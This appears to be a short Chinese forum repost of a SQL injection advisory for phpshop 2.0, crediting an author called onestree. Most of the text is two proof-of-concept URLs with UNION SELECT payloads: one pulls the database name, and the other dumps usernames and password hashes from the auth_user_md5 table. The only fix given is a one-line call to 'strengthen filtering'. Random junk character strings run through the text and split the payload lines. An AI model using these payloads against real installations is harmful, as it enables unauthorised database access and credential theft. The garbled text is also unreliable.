phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
) @. Q8 X8 Z+ f  P8 D8 ?( b8 O3 ?7 F测试地址: windows 7 / ubuntu


SQLi p0c:
- n! X, P$ Z! K4 K! F7 I7 y
==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
) c: b3 K& u* m: @; q0 P+ Iunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
- m- \6 X  Y/ d6 I
" z3 ^% B5 X& C! nhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
: M; h. k! K  m3 f# e0 X0 r, W2 ~2 @
修复：
加强过滤
​